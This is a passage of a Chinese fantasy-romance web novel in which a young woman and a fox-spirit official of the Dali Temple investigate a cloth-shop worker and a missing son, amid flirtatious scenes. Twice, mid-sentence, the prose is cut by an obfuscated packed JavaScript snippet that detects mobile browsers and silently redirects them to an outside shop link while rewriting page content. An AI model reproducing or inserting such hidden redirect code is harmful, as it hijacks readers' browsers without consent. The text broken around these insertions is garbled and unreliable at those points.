午的天气依旧晴好,光用来练功才算是浪费,元和景于是如约去了书房找祝长生。 推门而入时,对面大开的窗口正投下一片暖暖清辉,将室内光线调得柔而澄明。靠墙的一排高大书架前,芝兰玉树般的男人正端坐于黑漆檀木桌后,执笔的指节边缘盈盈闪着微光,勾勒出落笔时不徐不疾的从容姿态。 卷宗书卷被分门别类放在格子里,一旁的盆景迎风舒展着枝桠,每片翠色欲滴的绿叶都浸泡在漫漫天光里,像蓝鲸只泅于它的深海。 元和景并未刻意掩饰动静,祝长生自然早已知晓她的到访。只是他并未抬头,目光仍落在面前的公文上,道:“来了?” 元和景随意“嗯”了一声,背着手慢悠悠地边走边说:“来看看少卿大人的书房里有什么好玩的。” 祝长生笔尖停顿,失笑道:“那怕是要让你失望了,好玩的没有,不过我找了些有趣的陈年卷宗出来,你若感兴趣的话,可以翻一翻。” 说话间,元和景已经毫不客气地在外室给自己倒了杯水,端着走到桌案边时才发现祝长生的茶盏空了,于是她将杯子顺手放下,问他:“需要添水么?” “不必。”祝长生短暂地看了眼已经见底的茶杯,须臾后便收回视线,“这点小事,我自己来就好。” “那行。” 元和景本来就是出于礼貌问一句,闻言也不打算再客气,目光触及书架上那摞堆在最外面的竹简书册,心想着这应该就是祝长生找出来的卷宗,她又信步走过去,拿起最上面的那本翻看起来。 “天元十五年陆月甘十,一男子当街狂奔衣不蔽体……” 元和景越读越发现不对劲,皱眉喃喃道:“这也算案件?” 毕竟是封存于大理寺的文件,遣词造句还是比较委婉的,但要是民间的人们议论起来,那就是“一男子在大街上裸奔”了。 祝长生虽未刻意关注,心思却是专门分了一缕出去的。待将纸上墨迹吹干放好的空当,他回答:“原本不算,但此男子之后遭人杀害,被抛尸于井中,这便成了案件。” 元和景诧异万分,竟不知是先问他为何裸奔,还是先问他被谁所杀了…… 执笔点墨时,祝长生十分好心地为她解答:“死者本欲向心上人求爱,只是落花有意流水无情,对方为回拒不得已提出这等无理要求。可死者却将其当真,不料被他父亲当街逮住,以败坏家风为由乱棍打死了。” 元和景瞪着眼睛惊讶了好一会,末了颇为感叹地咂咂嘴,一时也不知该作何评价。 她将手里的案情记录又往后翻了几页,无一不是讲些和刚才那个异曲同工的奇闻轶事。可就这么一个人看也没意思,元和景放下书后就踱回桌边,一本正经地道:“总觉得你讲起来比我自己看更有趣。” 祝长生落笔未停,从容应答:“那就等我处理完后再同你讲。” 元和景欣然应允,接着在旁边的小凳上坐下,面前正摆着她方才给自己倒的水,除去最开始被她喝掉的一小半之外,余量好像又少了些许。 元和景在心里默默吐槽祝长生的先斩不奏,然后示威般把剩下的水喝了个精光。 百无聊赖地坐了会,她突然想起来和贺均约好的计划,便道:“明日我要跟贺寺正出去,帮他办一件事。” 祝长生这才把笔放下,喜怒未明地看了她半晌,待元和景觉得莫名其妙时,他又将笔重新拿起来,声音平静:“去吧,小心行事,早些回来。” 元和景更摸不着头脑了,下意识追问道:“你不我问去办什么事?” 祝长生半垂着眸,目光平和,声音轻快:“无需多问,你自有打算。” 笔尖从最上方走到了头,祝长生低头将其吹干,抬手另开新的一行时又接着道:“况且,你尽管去做就是了。” 话里分明无半分为她兜底或是撑腰的意思,元和景听完却安心下来。唇角扬起的瞬间,有隐秘而令人兴奋的期待感在心底悄然滋生,让她顿时热切不已…… 也心动不已。 21. 狐狸尾巴 翌日早上,两个一高一低的奇怪身影出现在了老街布匹店门口。 恰逢赶集时,街上南来的北往的络绎不绝,老牛脖子上的铃铛叮叮直响,挎着篮子的大娘正往菜市场赶,对周遭景象早已司空见惯的她看什么都是匆匆一瞥,却唯独在看向某处时视线停留了许久。 “又有外地人来哩。” 听到这话,贺均强装镇定的脸上终于出现一丝裂缝,他把那软趴趴的袍子扯了又扯,低声道:“这么打扮……会不会太奇怪了?” 元和景扭头去看,将人从头到脚地打量了一遍:高帽子长褂子皮靴子,人中处还蓄着正八字胡子,跟她事先设计好的模样完全没什么区别。 于是她也诚实地道:“不奇怪啊,我看往年从波斯来的商人,都是这身打扮。” 贺均登时如遭重击,脚下一个踉跄险些没站稳,他生无可恋地闭上眼睛,绝望地问:“为何我要扮成波斯人?” 元和景今日也着一身常服,不过从款式装饰来看都比元家三小姐逊色不少,倒和寻常人家的黄花闺女相差无几。 她拍了拍贺均的肩膀,语气任重道远:“你跟你妹妹相处了这么久,随随便便换身衣服能瞒过她吗?自然要从头到脚改装,不然怎么能收集到最真实最一手的情报呢?” 从布匹店大开的正门里,那个打扮朴素干净、身形清逸削瘦的女孩已经开始为今日的第一位客人解说推荐起来。元和景见状连忙将贺均推着往里走,同时还着急又小声地道:“快快快干活了。” 贺均无法,只好微低着头遮遮掩掩地进去了。他们原本的计划是扮作顾客,假装挑选实则暗中监视小年遇到过的人,只可惜天不随人愿,两人刚跨进门,就被一个满脸笑容的店员拦住了。 “欢迎光临,这位客人看着面生啊,应该不是中原人吧?” 元和景脑中空白了一瞬,只能默默地朝贺均看去,毕竟他们提前只商量了乔装打扮,却没说好要怎么应付小二啊! 迎着这位店员的八颗牙标准微笑,贺均有些艰难地咽了咽口水,然后吞吞吐吐地道:“窝……我室从波寺来嘚……” “对对对。”元和景连忙跳出来打掩护,“是这样的,我的朋友他从波斯来,对我们中原的服饰特别感兴趣,所以我来带他随便逛逛,你去忙就是,不用管我们。” 她本意是想将店员赶走,却是没想到对方听完这话后更来劲了,热切地拉住元和景的胳膊就往店里引,道:“您带朋友来我们这可算是来对地方了,论样式、论材质,咱们店的布料可是全京城最好的!” “俗话说来者皆是客,对待外地朋友更不能懈怠,这位波斯的朋友我看您身材高大,不如就……” 贺均显然是没应付过如此热情的场面,嘴巴哆嗦着半天说不出一个字。夹在两人中间的元和景更是动弹不得,只能扭着头环视了一圈,幸好没看见小年的身影,或许是带着客人去看成衣了。 “波斯来的朋友,您喜欢什么颜色什么材质的啊?我看这匹丝光绸就很适合您,或者这真丝绸呢,您看这纹样、这刺绣……” “呃,窝喔西环轰色……抖好砍都好砍。” 元和景憋得嘴角都在发抖,才强撑着没笑出来,即便贺均已经尽量少说话,三四个问题中只挑一个回答,但那店员并未因此受到影响,带着两人一路走一路推荐,愣是将这展台里所有的布匹都介绍了个遍,连说辞都鲜少有重复的。 “嗯……嗯嗯……哦号……” 贺均心不在焉地应着,注意力却全放在另一边,刚从内间出来的小年又接上了另一位男性客人,他目光沉沉地盯着两人之间时近时远的距离,神色晦暗不明。 元和景也早已注意到小年的情况,手上随意翻了翻几匹布,眼睛却是时不时往那边瞟。这时店员终于发现他们的兴致缺缺,明白这单生意八成是做不成的,于是将手里东西一丢,脸色也肉眼可见地垮了下来。 “您二位先慢慢看着,若有需要了再叫我,我先去忙。” 说完,店员就毫不拖泥带水地走了。原地的贺均与元和景对视一眼,不约而同地松了好大一口气。 “要不一会还是买匹布走吧,我看她说得嘴巴都干了。” 贺均点点头表示认同,用他正常的口音道:“可以,我来付钱。” 达成共识后,两人便心无旁骛地借看布观察起小年身边的人来。小年看着年纪不大,手脚却十分利落,脑子也灵光,面对客人的询问都能第一时间答出来,偶尔还说些可爱的俏皮话,逗得那位男客人笑声不停,活像见到女儿似的。 趁着小年转身的刹那,元和景也能将她容貌看得清楚:瓜子脸柳叶眉,五官小巧,皮肤也白净,是很清丽脱俗的长相,但就是……和贺均一点也不像。 元和景在这两兄妹之间逡巡了好几圈,最终语气笃定地问:“你跟小年,不是亲兄妹吧?” 贺均面色一变,竟是很少见地慌乱起来,像被戳穿了什么秘密。元和景被他这副样子吓到,又赶紧辩解:“我只是问问,你要不想说就不说,放心,我也不会出去瞎说的。” 男人沉默了半晌,最后深吸一口气,吐字时有微微的颤意:“无妨,我和小年的确不是亲生兄妹。” 元和景直觉这背后定然有什么故事,但这毕竟是人家的家事,外人再怎么打听也得有个度。于是她直截了当地转移了话题:“这位客人年纪又大,品味又差,看起来不太符合小年说的有钱公子。” 贺均很快敛去眸中的失态,道:“此人行为举止也算正常,应该不是小年说的人,再等等吧。” 就这样,两人在这块区域来回挑挑拣拣了半天,见证着小年一早上成交了六单生意。但客人要么是大腹便便的中年男性,要么是年轻美丽的女孩妇人……好不容易遇到个从身形看还算接近的男子,转身时却发现是位化着斩男桃花妆的“姑娘”。 他们在店里停留的时间实在太长,已经有好几个店员投来警惕又怀疑的视线,若是再呆下去迟早会让小年察觉,于是元和景只好随手捞起一匹布,带着贺均去结账后就忙不迭往出溜。 正当一只脚就要迈出门槛时,背后突然传来叫唤,方才还隔着距离的少女现下竟然来到了跟前。元和景顿时心里一紧,急忙朝贺均看去,却见他已经低下头,借挠痒痒的方式用袖子挡住了脸。 元和景手心暗暗捏了把汗,硬着头皮问:“怎么了吗?” 实话来说,两人今日的调查手段算不上高明,小年虽全程未表现出什么异常,但难免不会察觉。若她当场把自己和贺均当作偷窥狂扭送到官府,怕是只有叫祝长生来才能脱身了。 小年粲然一笑,目光温和又真诚,双手捧着将事物递上前:“姑娘,您的零钱没拿。” “啊……是我疏忽了,多谢。”心里松下口气的同时,元和景将那一小串铜钱接过,然后便拽着贺均的袖子头也不回地离开。 这一早上的调查可谓是白费功夫,两人悻悻地回到大理寺,贺均急急忙忙地要把这身奇装异服换下,元和景也已身心俱疲,全然没了练功的心思,跑去祝长生书房躲了一下午懒。 待男人问及早上行踪时,她只闷闷不乐地答:“当贼去了。” 祝长生并不细究,顺着她的话调笑道:“看这样子,是贼没当成,反而把自己赔进去了?” 元和景听到这话莫名来气,把头扭到另一边不再理他,可没过一会,鼻尖像是被什么东西似有若无地扫过,惹得她忍不住打了个大大的喷嚏。 元和景抬起身子一看,祝长生还安然坐于原位,表情带笑却并不分明,而导致她打喷嚏的罪魁祸首—— 毫无疑问是那条在半空中耀武扬威的尾巴,毛绒绒红彤彤的,尖端缀着很少的几缕白毛,和新婚夜里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957010|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那个巨大怪物、以及后来遇到的小狐狸一模一样。 “好你个臭狐狸。”元和景轻哼一声,飞快地抬手将那尾巴尖抓进掌心。 祝长生浑身猛地一颤,耳廓霎时染上极浅的绯色,似是没想到对方会突然做出这般举动。不过他很快恢复了镇定,将手中的笔徐徐放下,沉声问:“不松开么?” 元和景没发现他的异常,又还在气头上,便逆反地将那尾巴尖抓得更紧,道:“不松!” 遭了拒绝,祝长生却还有心思笑,元和景直觉不对,可来不及有反应的时间。下一瞬,手中的狐狸尾巴就像藤蔓似的延长,绕了几圈将这只手捆得严严实实,紧接着一阵拉扯力猝然袭来…… 身体腾空不过在眨眼间发生,面前的景物变幻像是做了场梦,只是在元和景反应过来时,她已经被拽进了某个不动如山的人怀里。 双脚还处于离地状态,她整个人正坐在祝长生腿上,耳侧便是他规律起伏的胸膛,熟悉而浅淡的清香缓缓钻入鼻腔,相贴的地方也泛起暖意。元和景只愣了一秒,就手忙脚乱地要挣脱出来。 “喂你干嘛……” 话音未落,腰身处有什么东西正在收紧,元和景低头看去,那根胡乱生事的尾巴已经在腰间缠了两圈,虽然不紧,束缚感却十分明显,直直拽着她又跌回了祝长生腿上。 祝长生姿态不变,带着身为主导者的从容不迫,唇角高高扬起,语气中满是狎昵:“是你自己不松的,那便永远别松开了。” 语毕,他又自顾自地拿起笔,微微俯身在公文上书写起来。有序的呼吸不住往脸颊上洒,惹得元和景又羞又燥,周身被温柔的男性气息包裹,可腰上的桎梏却算不得温柔,她用力拉扯了好一会,那尾巴却是纹丝不动。 最初的羞涩感过后,元和景那股不甘被压一头的气性又上来了。她盯着男人轮廓分明的侧脸思忖半刻,然后果断伸手抱住他的脖子,对着那白皙的脸颊重重亲了过去。 触感其实跟她想象的差不多,很暖、也很软,只是分离时发出的声音大到传遍了整个屋子,引得她也后知后觉地不好意思起来。 祝长生手下顿时失了力气,在素白的纸面上拉出突兀而浓重的一道墨色,尾巴更是像被火烧到似的飞快缩回。他不可置信地低头朝怀中人看去,却见计划得逞的少女从他臂下灵活地一钻,然后大步跑出了门口。 好不容易重见天日,元和景手撑着一根柱子大口地呼吸起来,心跳好像刚经历过一场生死逃亡,加速流动的血液在全身乱窜不止。她有些失神地抬起手,却见那莹白的指尖正肉眼可见地发着颤。 鼻尖那股独特而清浅的香气将要消散,元和景下意识用力地嗅了两下,心中竟隐隐升腾起莫名的不舍情绪来。 冷静了好久才将躁动不安的心安抚好,她努力让自己不去回想刚才发生的事,佯装着无事去找周子萧他们。现下日头西斜,离放衙也不差多少时间了。 路过大理寺正门时却正好撞见贺均,他面前站着两个生面孔,看着已然年过耳顺,粗布衣也灰扑扑的,正满脸焦急地说着什么。 看到有人来,贺均劫后余生般的往后挪了几步。应对情绪表现较为激烈的人的确不是他的擅长,元和景于是从善如流地上前,一本正经地问:“两位有什么事,可以跟我说说。” 还未等那两人说话,贺均先皱着眉诧异地道:“你的脸,为何这么红?” 元和景脑子里嗡的一声,立马像被踩了尾巴的猫一般跳起来,双手捂住脸打着哈哈:“没有没有,太热了而已……” 她又没有随身带镜子的习惯,哪能知道自己过了这么久脸还红着?生怕贺均还要追问,元和景忙不迭看回两位老人,强作镇定地说:“没事,你们接着说吧。” 那位妇人满脸憔悴,颤颤巍巍地用袖子摸了把泪,泣不成声地道:“我,我儿子不见了!” 22. 狐狐大狗 听妇人说完这话,元和景先是看向了贺均,发觉对方眼里有同样的犹豫后才转头道:“老夫人,不是我们不帮你,但寻人问道这事应属县衙管辖,大理寺只负责处理疑难案件,两位还是请回吧。” “去了的,我们去过县衙的。”妇人闻言悲拗地哭起来,双手紧紧拉住元和景的一条胳膊,像拽住救命稻草一般,“县衙说……没见过什么杜少桓,还叫我们赶紧走,他们不管!他们不管啊……” 元和景不禁皱起眉头,虽说这种“小事不管”的作风她也知晓,但这毕竟是牵扯人身安全的大事,县衙竟然也如此敷衍。 心里再想帮,可大理寺的规矩还立在那,正当她内心天人交战的时候,旁边的贺均发了话:“先进前堂说吧,把你知道的都尽数说来,我们也好早点行动。” “多谢官爷,多谢官爷!” 老人声泪俱下地重复着这句话,腿一弯就要下跪,两人连忙伸手去扶,这期间元和景向贺均投去个略带疑惑的目光,而后者只是点了点头,示意她不要担心。 “少卿虽执法严苛,但并非不通情理之人,我们尽快办完就是。不过通报少卿一事,还要麻烦元姑娘代劳了。” 将两位老人送进前堂时,贺均刻意落后半步,用只有两人听得见的声音说道。 按照惯例,凡大理寺经手的案件都要严格记录下来,而要论做得最好最翔实的,那必然是云青。可奇怪的是,元和景去好几个地方找过,竟然都没发现她的身影。 贺均略一思忖后道:“她应是出去帮少卿办事了,我们先记下关键,待云青回来后再交由她整理吧。” 于是在这红霞漫天时,元和景坐到了云青那张小案后,贺均则是立于堂前,肃然发问:“你二人家住何方、姓甚名谁,所寻之人为谁?” 弯腰驼背的老先生看了眼泣不成声的妻子,而后颤颤巍巍地回答:“我叫杜二牛,她叫何清莲,我们从南淮县来,来找我们的儿子,杜少桓。” 元和景一边听,一边将这些仔细写下。这时贺均又问:“既是南淮县人,杜少桓又为何会来到京城?你们最后一次见他是什么时候?” “大概在十年前,少恒留信说跟着朋友来京城打拼,这期间每月定时给我们寄信送钱。只是我跟老婆子年纪也大了,儿子不在身边总觉得不踏实,就想来京城看看他。就在年初,我托人捎信跟他说了这事,可一直没收到回复,我俩觉得不对劲,就来京城寻他。” 说到最后,老先生忍不住哽咽起来,低着头将泪抹了又抹。元和景却是敏锐地听出了不对,问:“既是留信告知,也就是说,当时杜少桓离开时你二人并未亲眼看见?” 此话一出,两老人皆神色一滞,杜二牛更是心虚地移开目光,嘴唇嗫嚅了好几下,才闷闷地答:“回大人,我们……的确没看见。” 像是怕元和景在此事上追究,他又很快辩解道:“村里出去闯荡的年轻人年年都有,况且少恒那时也成年了。前几个月我跟老婆子也不是没有操心过,但每个月能收到信,他说自己在京城过得很好,我们也就放心下来了。” 自己的儿子二话不说离家出了远门,做父母的还能在家里坐得安稳。但转念一想,南淮县地处偏僻,光是来一趟就要花费不少钱,他们也不过两个无财无权的老人,就算想找也是有心无力。 贺均又接着问了些关键信息,最后向他们要来了杜少桓相关的物件,是之前寄来的信和几件粗布衣服。 信上字迹工整,内容也并无问题。衣服皆是窄窄小小的,说明此人身形瘦弱且个子不高,倒和村子里惯做农活的人大不一样。 这点还是贺均提出的,元和景虽未追问,却也知道这该是和他过往经历相关。 送走两位老人,放衙的时辰也到了,再加上就算找人现下也没有头绪,元和景跟贺均只能先作罢,待明日再来专门解决此事。 可等真到了第二天,元和景还是没能想出个调查方向来。她一路溜达到了伙房附近,正好看见石岩正蹲着身子喂他那条名叫石头的白狗。 饭盆很大,石头几乎将半个身子都埋了进去,身后尾巴跟风车似的摇得欢实极了,石岩则是一脸慈爱地给它顺毛。不知是不是错觉,元和景总觉得石岩身上正散发着母亲一般的光辉。 她努力甩掉脑子里的奇怪画面,然后小心翼翼地走过去在石岩旁边蹲下,问道:“岩哥,你说石头聪明,那它能不能根据气味找人呢?” 石岩挠了挠头,似乎真的在思索这件事的可行性。元和景也是看到石头后才灵机一动想到这个法子,要真能成功,找杜少桓的事就能有大进展了。 半晌后,石岩挠着头道:“这我还真没试过,但石头是通灵性的,你要是想的话可以试试看。” 得了首肯,元和景立马回去把杜少桓的衣服和信拿来,石头受到石岩的召唤,凑上去用力耸动着鼻子嗅闻,但却迟迟不见它有下一步动作。 或许是时间太久远,衣服上的气味已经消失得差不多了。元和景意识到这点,心里没来由地涌上些许失望。可就在此时,石头突然抬起脑袋,一声不吭地沿着大路跑开了。 元和景与石岩立马起身去追,随着石头从伙房离开,它有时会在岔路口上稍作停顿,像是在分辨该去哪个方向,偶尔又小跑了好一段路不带停。两人越是跟下去,就越感觉奇怪。 “石头没有要出去的意思,难不成这相关人员就在大理寺里?” 说着,元和景自己都不相信,千里迢迢从南淮县来的人,和一个从未听说过的杜少桓,怎么会跟大理寺中人扯上关系呢,这也太巧了。 容不得她再继续想,石头已经停在了一栋建筑前,正四腿并用地上着台阶,一副要进去的架势。元和景见状连忙跑上前阻止,高声呼着:“不能进去!” 原因无他,这是云青平日里办公的地方,连他们几个都很少来,要是石头进去把哪里碰乱弄坏了,元和景跟石岩一个也跑不掉。 可毕竟两条腿的快不过四条腿的,等她跨上台阶时,石头已经用力将门撞开了,伴着拖长调子的两声“吱呀”,满目的卷宗书册顷刻间映入眼帘。 石头灵巧一跃跳过门槛,接着目标明确地跑去云青常坐的那张桌子旁坐下,还伸着脖子吠了两声,含义不言而喻。 元和景本欲将它带出去,但看到这幅场景后也犹豫起来。她和石头满含期待的目光对视了会,踌躇着问:“你确定是这里?” 回答她的,是又两声清晰而有力的狗吠。 “那好,我信你一次。”说完,她便走到云青的书桌前扫视起来。虽说直接上手翻定然来得更快,但毕竟事无定论,一方面她确实怕云青生气,另一方面也在于,她不认为此事会和大理寺的人有关。 可这一看还真让她看出东西来了,桌角的水杯旁正放着两个凉透的小笼包,牛皮纸袋上还沾着油,凑近时还能隐约闻到肉味,应是云青早上没来得及吃完的。 好吧……这狗是馋肉包了。 元和景嘴角无语地抽搐两下,心想自己还真是病急乱投医,若是逮着一条狗就能用来寻物找人,那大理寺少卿和县令的位置就让狗来坐好了。 ……当然,她绝对没有拿祝长生和县令跟狗比的意思! 抱着无奈又复杂的心情,她连推带赶地将自己和石头撵出屋子。石岩还在门口殷切地等着,元和景叹了口气,对他沉重地摇了摇头。 贺均那边一早上也没找到什么线索,而很快就到了祝长生检查元和景练功情况的时候,她为赶上午饭也不能耽搁,只得马不停蹄地又去了书房。 不同以往的是,今日祝长生没忙着处理公文,元和景到时他正在悠闲地品茗。茶香清而不淡,似雨后春芽般鲜嫩清爽,闻过后叫人心旷神怡。 见人到访,他放下茶杯,嗓音带着被茶水浸润过的透亮:“来了。” 元和景慢悠悠走进,背着手在他面前站定,劲头颇足地道:“对啊,让你看看本小姐苦练后的成效。” 祝长生眉眼染上笑意,一抬手道:“那便拭目以待。” 元和景这月的任务是学会一套拳法,动作不难但连贯性极强,不讲蛮力而更重技巧,强调“四两拨千斤”之效果,对于女子来说是很实用的功夫。 不必再多说,元和景已将双拳放于腰间,做出起势的姿态。片刻后,拳风携着衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957011|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袖重重打出,直击敌人面部的同时脚下发难,行云流水地扫过对方底盘,出招凌厉又迅速,一时间屋内只闻风声阵阵,如刀如剑。 即便对面并无什么实体存在,但也能窥见其被这一连串攻势打得节节败退的模样。祝长生面色平静不见喜怒,只有目光牢牢聚集在元和景身上,眉头时不时皱起又松开,看上去倒真像位不苟言笑的武术老师。 元和景早把这些动作练过了千百遍,但要以迎敌的方式打出也说不得轻松。时间久了体力消耗也是问题,额头上似有汗珠渗出,可她丝毫不敢松懈,调整着呼吸的同时拳拳到肉招招生风,已将“敌人”逼至绝境。 连环拳接一记飞腿后,这套拳法结束,元和景保持着最后的动作,停顿须臾后才缓缓守势,与此同时,一口浊气也总算从嘴里吐了出来。 规律的掌声不紧不慢传来,元和景心中得意,脸上也藏不住笑,朝走近的那人一扬下巴,顾不上喉头正沙哑,忙问:“怎么样?” 祝长生如实夸赞道:“娘子勇猛,为夫心中甚慰。” “不过还有几个地方需调整,比如第三式……” 听见他这么说,元和景下意识摆出对应的姿势,按照讲解尝试着摆拳,却一时不得要领。如此两轮后,祝长生似乎也有些词穷,于是便走到她身后,径直抓住她的两只手带着慢慢挥舞起来。 “你看,是这样反掌送出去……” 猝然拉近的距离好像因为正事而变得无足轻重,可洒在颈边的呼吸、讲话时微微震动的胸腔,以及自己失序的心跳,都在让元和景忍不住留意,再忍不住变得六神无主、大脑发白。 那股熟悉的浅香又涌入鼻腔,完全包裹的手背已被煨得发热泛暖元和景有些无措,但心底莫名升腾的又是欢喜。她眨了眨眼睛,很快听见祝长生道:“你身上什么味道?” 说着,男人竟在她耳后轻嗅起来,灼热的鼻息烫得元和景一缩,吐字时直发颤:“没,没什么吧。” 祝长生却不打算就这么放过,凑上去又在离脖颈两寸的地方猛吸了两口。元和景只觉得魂儿要被他给吸走了,赶紧挣扎着想跑,却被对方以一个近乎环抱的姿势圈住。 他顿了顿,语气笃定:“你去石岩那里了。” “啊……对。”元和景忙不迭点头,“早上是碰见岩哥,他在喂石头。” 她表示了坦陈,祝长生却突然垮脸,将下巴搁在少女的肩头,闷闷不乐地说:“少去那边,我不喜欢。” 稍作思索后,元和景明白了这句话意思。祝长生,或者是胡拾本体乃是狐狸,对其他犬科动物的气息自然敏感,而她就这么带着一身狗狗气味进入他的领地,正好是撞在了枪口上。 在想清楚原委的时候,那双手悄无声息地挪到了她腰间,和结实的腰腹一起将元和景桎梏在这一方小小怀抱之中。两人的气息相遇、混合,再交融,逐步熏染成了祝长生最满意的味道。 而元和景也总算发现了不对劲,但这时才想着逃脱未免太晚,况且她无法否认,自己并不讨厌这种感觉。 屋子里一时陷入安静,唯有呼吸带起的微风轻抚过鬓发。元和景愣了愣神,把杜二牛夫妇的事磕磕巴巴地说了,一来为掩饰失态,二来这原本也该告诉祝长生。 男人还维持着姿势没动,好像他此时不是什么大理寺少卿,而是个普通的、想和妻子温存的深情丈夫,又或者是一条有些黏人的大狗……哦不,大狐狸。 沉默的时间有些久,久到元和景以为他已经睡着了,正欲扭头去看时,祝长生才温温吞吞地道:“京城近几年的失踪谋杀案中并无叫杜少桓的受害者,想必他现在应该还活着。如此要想解决,便不是什么难事。” 元和景顿时眼睛一亮,兴奋地问:“那要如何做?你且说来。” “说也不是不行,你可以叫上云青同行,正好算作一个实践锻炼的机会。” 祝长生魇足地直起身,整个人散发着慵懒的气息,更带着几分不怀好意的狡黠。元和景当机立断就要去找云青,却被祝长生及时拉住。 “现在还不急,我们可以先玩个小游戏,你若是赢了,我便给你指指方向,如何?” 23. 户房寻踪 虽然被说成“小游戏”,但元和景还是转过身,一脸警惕地打量男人,把那无辜的表情盯了好一会后才道:“你先说是什么游戏,我考虑考虑吧。” 祝长生笑意不减,负于背后的那只手随意捏了个拳,递到元和景面前,说:“简单,你要是能碰到我这只手,我就把里面的东西给你,并且告诉你下一步该如何做。” “这有什么难的?” 元和景满不在乎地轻哼一声,说着就抬手去够,但祝长生却眼疾手快地将拳头举得更高,正好让她抓了个空。 要论个子,她自然不是祝长生的对手,可要说功夫,她不信两只手的打不过一只手的。这么想着,元和景放弃直接去夺,转而攻向对方腰腹,用的正是方才那套拳法的第五式。 招式一出,连祝长生都未料到,他面上的惊愕转瞬即逝,闪身躲过的同时真心实意道:“不错,反应很快。” 元和景很是得意地勾了勾唇,将这夸赞大方收下:“那是当然……看招!” 说着,她便又是一拳直逼右胸,祝长生躲避不及只能抬手接下,竟被生生震退了两步。他连忙撤腿稳住身形,感叹:“左手的力气还真不小,或许双剑更适合你。” 就趁他分这会神的空当,元和景势头一转,跃身去抓那只高举起的手臂。不过祝长生毕竟实战经验丰富,没被她这招声东击西骗到,侧身避开的同时用空的那只手在少女肩头一推,避免了她因用力过猛摔倒在地的可能。 单方面进攻并不比对打来得轻松,几招下来,元和景依然找不到祝长生的破绽,强攻也占不了上风。反观对方那副游刃有余的模样,这么下去,吃亏的迟早是自己。 她稍微平复了一下呼吸,突然满脸诧异地朝祝长生身后看去,高声道:“你尾巴怎么露出来了?” 祝长生肉眼可见地愣了神,显然这突如其来的一出并不在他预料范围内。虽说这失误只有一瞬,但对于元和景来说也够了,她当机立断飞身猛扑过去,将毫无防备的祝长生撞了个四脚朝天。 恍惚间,元和景竟有种报了仇的快感,她用身体将男人死死压住,两只脚更是将其锁了个结实。紧接着她伸手一捞,便把那高高在上的拳头拽了下来。 男人还未在这一连串变故中回神,元和景歪着头,炫耀似的把擒住的那只手在他面前晃晃,得意洋洋地问:“你服不服?” 祝长生有些泄气地闭了闭眼,无奈道:“我失策了。” 元和景很是受用地笑起来,迫不及待地要打开拳头看自己的战利品。或许是败局已定,祝长生放弃了挣扎,不仅任凭她将五个指头掰开,还进贡似的朝前递了递。 “啪”一声脆响,是元和景给那空空如也的手掌来的一下。 “好你个祝长生,竟敢耍我!” 元和景怒不可遏地说着,作势就要从男人身上起来。可刚撑住胳膊,后背一阵猛力袭来,她又不受控制地跌了回去。 祝长生顺势将人搂住,一只手安抚似的轻拍着,语气带笑,可听起来又有些无辜:“是你说我尾巴露了,既然已经被冤枉……不真召出来用用的话,岂不可惜?” “那也是你先骗我的!”元和景还在生气,可因为被按在祝长生怀里,声音闷闷的,“手里明明什么都没有,害我白费半天功夫。” 祝长生被拆穿了也不心虚,反而理直气壮地道:“谁说没有了?” 元和景应声抬头去看,却见方才还空无一物的手里正垂着条银链子,上端被挂在骨节分明的中指上,顺着盈盈泛光的长链看下去,末尾缀着的红色小狐狸头还在摇晃着,幅度渐小。 她有些新奇地一把夺过,边细细端详边问:“这是什么?” 祝长生将手抱在胸前,就着躺在地上的姿势垂眸看她,道:“这是用狐族指骨做成的哨子,你吹响后我就会听到,若是遭遇不测,以此唤我便是。” 元和景将那栩栩如生的狐狸头倒转过来,果不其然看到下巴处有个中空的圆洞,想必这本该是个哨子,只是在外面添上了狐狸头的装饰,让其看上去和一条普通的项链无异。 她拿着看了又看,没找出不满意的地方后就拆开往脖颈上戴,但趴着实在不好发力,她将全部重量都放在祝长生身上,用两只手扣了半天也是徒劳。祝长生见状轻叹,伸手主动将这事代劳了去。 “还有杜少桓失踪案的线索呢,是什么?” 元和景趴在他怀里闷闷地问,呼吸间满溢着让人心旷神怡的气息,脸下压着的衣料顺滑柔软,熨帖在心口处被暖得温热。 祝长生将那些乌黑的发丝慢慢拨开,猝然袭来的一点凉意让元和景冷不丁打了个寒颤。男人低声说了句“马上就好”,凝神为她项链戴好后,又将发丝小心翼翼地捋顺。 “在京城里,找外地人可比本地人简单得多。外来者若想在此安家置地做生意,免不了要向县衙报备,而与之相关的一切记录,都存放于户房中。” 元和景顿时明白过来,这杜少桓来京城已有十年,怎么说都要谋生活的,只要他不是打黑工,或者流落街头当乞丐,县衙那边定然会有记载,如此再顺藤摸瓜找到人,就不是什么难事了。 她打心里觉得这个方向好,于是手脚并用地爬起来,丢下句“事不宜迟,我现在就去啦”,便拍拍袖子离开了。 祝长生还在原地发愣,等人跑没影了才反应过来,怀里的温度由热转凉,他暗骂了句“小没良心的”,可唇角的弧度却是实实在在又扬高了些。 春夏之交时天气最为晴好,有风吹过也不觉寒。元和景径直去了云青办公的地方,这次总算打上照面,她不太敢和云青说玩笑,只能开门见山地说正事,对方听完也未多问,将东西收好后便和她同行了。 